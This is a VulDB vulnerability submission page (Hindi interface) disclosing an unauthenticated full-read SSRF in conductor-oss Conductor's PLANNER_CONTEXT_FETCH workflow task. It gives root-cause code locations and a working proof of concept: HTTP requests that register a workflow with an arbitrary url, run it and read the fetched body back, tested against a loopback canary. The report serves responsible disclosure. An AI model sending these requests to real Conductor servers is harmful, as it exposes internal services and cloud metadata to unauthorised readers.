जमा करें #1035482: conductor-oss Conductor up to v3.33.0-rc5 (unfixed as of 2026-09-18; latest stable v3.32.4); runtime proof at released tag v3.32.4, commit 088de237a185caaeb669035a6d75de65d36cab5a (2026-09-10) Server-Side Request Forgery with response read-backजानकारी

शीर्षकconductor-oss Conductor up to v3.33.0-rc5 (unfixed as of 2026-09-18; latest stable v3.32.4); runtime proof at released tag v3.32.4, commit 088de237a185caaeb669035a6d75de65d36cab5a (2026-09-10) Server-Side Request Forgery with response read-back
विवरणUnauthenticated full-read SSRF via the PLANNER_CONTEXT_FETCH workflow system task in Conductor Vendor: conductor-oss Affected versions: up to v3.33.0-rc5 (unfixed as of 2026-09-18; latest stable v3.32.4); runtime proof at released tag v3.32.4, commit 088de237a185caaeb669035a6d75de65d36cab5a (2026-09-10) Vulnerability class: Server-Side Request Forgery with response read-back (CWE-918) Preconditions: none on default deployments — the shipped default config (`server/src/main/resources/application.properties`) enables SQLite defaults with no authentication on `/api/**` and `conductor.integrations.ai.enabled=true` (line 201); the task registers unconditionally (`PlannerContextFetchTaskConfig.java:26-27` plain `@Bean`, component-scanned via `AgentSpanAutoConfiguration.java:38-40`, module wired into the server build at `server/build.gradle:25`). Every request in the proof of concept below was credential-less. On deployments that enable authentication, any workflow author qualifies. Unauthenticated full-read SSRF via the PLANNER_CONTEXT_FETCH workflow system task in Conductor Data flow: caller JSON WorkflowDef → `WorkflowSystemTask.start` → `PlannerContextFetchTask.java:130-132` (`input.get("url")`) → `:164` `HttpRequest.newBuilder().uri(URI.create(url))` → `:172` `httpClient.send(..., ofString())` → `:197` `complete(task, resp.body(), ...)` ### Affected interfaces | Interface | |---| | POST /api/metadata/workflow — register a WorkflowDef containing a task of type `PLANNER_CONTEXT_FETCH` with `inputParameters.url` | | POST /api/workflow/{name} — execute the workflow | | GET /api/workflow/{id}?includeOutput=true — fetched body read back through the task output | Primary route detail: ``` POST /api/metadata/workflow {"name":"<wf>","version":1,"schemaVersion":2, "tasks":[{"name":"pf","taskReferenceName":"pf","type":"PLANNER_CONTEXT_FETCH", "inputParameters":{"url":"http://<host>:<port>/<path>"}}]} ``` On a default Conductor deployment (shipped `application.properties` has no authentication/authorizer on `/api/**`), any unauthenticated network client can make the Conductor server issue GET requests to arbitrary attacker-chosen URLs — loopback admin ports, internal services, cloud-metadata endpoints — and read the full response body back. The AI agentspan module registers a `PLANNER_CONTEXT_FETCH` system task whose target URL is taken verbatim from the workflow definition (`inputParameters.url`), fetched with no scheme/host validation by a redirect-following `java.net.http.HttpClient`, and whose response body is written into caller-visible task output. ### Root cause 1. **Registration, unconditional** — `PlannerContextFetchTaskConfig.java:26-27` declares a plain `@Bean(PlannerContextFetchTask.TASK_TYPE)` (no `@ConditionalOnProperty`, no authorization check) in package `org.conductoross.conductor.ai.agentspan.runtime`, scanned by `AgentSpanAutoConfiguration.java:38-40`; the only gate is `conductor.integrations.ai.enabled=true`, the shipped default (`server/src/main/resources/application.properties:201`). 2. **Taint source** — `WorkflowSystemTask.start()` receives the task model built from the caller's JSON: `PlannerContextFetchTask.java:130-132` (`String url = Objects.toString(input.get("url"), null)`). 3. **Sink** — `PlannerContextFetchTask.java:164` `HttpRequest.newBuilder().uri(URI.create(url))` — no allowlist, no private/loopback/metadata-IP rejection, scheme-agnostic beyond `URI.create`; the client is built with `followRedirects(NORMAL)` (`:105`), so a 3xx hop re-targets the request internally; sent at `:172` (`httpClient.send(..., HttpResponse.BodyHandlers.ofString())`). 4. **Read-back** — `:197` `complete(task, resp.body(), status, false)` stores the full response body of the attacker-chosen URL in the task output returned to the API caller — a full-read SSRF, not a blind one. Non-2xx statuses are surfaced too; the TTL/ETag cache (`:95-127`) does not affect first-fetch reachability. The missing guard: `PLANNER_CONTEXT_FETCH` is a registered system task type (`PlannerContextFetchTask.java:66`) with no internal-only marker, so workflow-metadata validation accepts it and the executor runs it for any workflow author — and on default installs the workflow-definition APIs are anonymous. Baseline: Conductor released tag v3.32.4 (`git describe` = v3.32.4), self-hosted on the reporter's own host on `127.0.0.1:18099` with shipped defaults (`GET /actuator/health` → 200 `{"status":"UP",...}`); canary listener bound to `127.0.0.1:18901` only, serving `{"canary":"CV4-PFCTX-1789528872","path":"<path>"}`. No Authorization header anywhere. **1. Register the workflow (credential-less)** ```http POST /api/metadata/workflow {"name":"cv4plannerfetch1","version":1,"ownerEmail":"[email protected]","schemaVersion":2, "tasks":[{"name":"pf","taskReferenceName":"pf","type":"PLANNER_CONTEXT_FETCH", "inputParameters":{"url":"http://127.0.0.1:18901/CV4-PFCTX-CANARY/ctx.md", "ttl_seconds":30,"required":false}}]} -> 200 ``` **2. Start it and read the output back** ```http POST /api/workflow/cv4plannerfetch1 body {} -> workflowId b153a6e7-61c7-4c71-94b7-1256e87f66b6 GET /api/workflow/b153a6e7-...?includeOutput=true&includeTasks=true -> workflow COMPLETED (~2s); task PLANNER_CONTEXT_FETCH COMPLETED with outputData = {"response":{"body":"{\"canary\":\"CV4-PFCTX-1789528872\",\"path\":\"/CV4-PFCTX-CANARY/ctx.md\"}","statusCode":200},"cache_hit":false} ``` **3. Positive artifact — application-originated connection (canary log)** ```sh $ cat canary.log 2026-09-16T11:25:07.305683 GET /CV4-PFCTX-CANARY/ctx.md from 127.0.0.1:43438 UA=Java-http-client/21.0.7 ``` The listener is loopback-only (unreachable from any other host), and `Java-http-client/21.0.7` is the conductor JVM's `java.net.http.HttpClient` that `PlannerContextFetchTask.java:103-108` builds. **4. Negative control** — the canary listener was killed (port 18901 refusing) and a second unauthenticated workflow `cv4plannerfetch2` with `url=.../CV4-NEGATIVE/ctx.md` was run → task `COMPLETED` with `outputData = {"response":{"body":"","statusCode":0},"cache_hit":false}` — confirming the step-2 observation was caused by the canary endpoint and nothing else. - **Vendor contact**: GitHub Private Vulnerability Reporting - conductor-oss/conductor - **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/conductor-oss/conductor/security/advisories/GHSA-cx7c-4mp7-rhcj; not publicly disclosed; no CVE assigned - **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
स्रोत⚠️ https://github.com/conductor-oss/conductor
उपयोगकर्ता
 lucasg2g (UID 84737)
सबमिशन15/10/2026 07:30 AM (24 दिन पहले)
संयम08/11/2026 11:52 AM (24 days later)
स्थितिस्वीकृत
VulDB प्रविष्टि432811 [conductor-oss conductor तक 3.32.4/3.33.0/3.34.0-rc3/4.0.0-alpha.1 PLANNER_CONTEXT_FETCH Task PlannerContextFetchTask.java WorkflowSystemTask.start url अधिकार वृद्धि]
अंक20

Might our Artificial Intelligence support you?

Check our Alexa App!